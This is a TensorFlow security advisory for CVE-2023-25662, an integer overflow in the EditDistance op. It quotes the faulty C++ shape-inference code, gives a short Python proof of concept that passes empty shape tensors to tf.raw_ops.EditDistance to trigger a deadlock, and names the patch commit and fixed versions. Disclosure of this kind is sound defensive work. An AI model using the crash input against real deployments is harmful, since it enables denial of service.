## TFSA-2023-014: Integer overflow in EditDistance

### CVE Number
CVE-2023-25662

### Impact
TFversion 2.11.0 //tensorflow/core/ops/array_ops.cc:1067 const Tensor* hypothesis_shape_t = c->input_tensor(2); std::vector<DimensionHandle> dims(hypothesis_shape_t->NumElements() - 1); for (int i = 0; i < dims.size(); ++i) { dims[i] = c->MakeDim(std::max(h_values(i), t_values(i))); }

if hypothesis_shape_t is empty, hypothesis_shape_t->NumElements() - 1 will be integer overflow, and the it will deadlock
```python
import tensorflow as tf
para={
    'hypothesis_indices': [[]],
    'hypothesis_values': ['tmp/'],
    'hypothesis_shape': [],
    'truth_indices': [[]],
    'truth_values': [''],
    'truth_shape': [],
    'normalize': False
    }
tf.raw_ops.EditDistance(**para)
```

### Patches
We have patched the issue in GitHub commit [08b8e18643d6dcde00890733b270ff8d9960c56c](https://github.com/tensorflow/tensorflow/commit/08b8e18643d6dcde00890733b270ff8d9960c56c).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by r3pwnx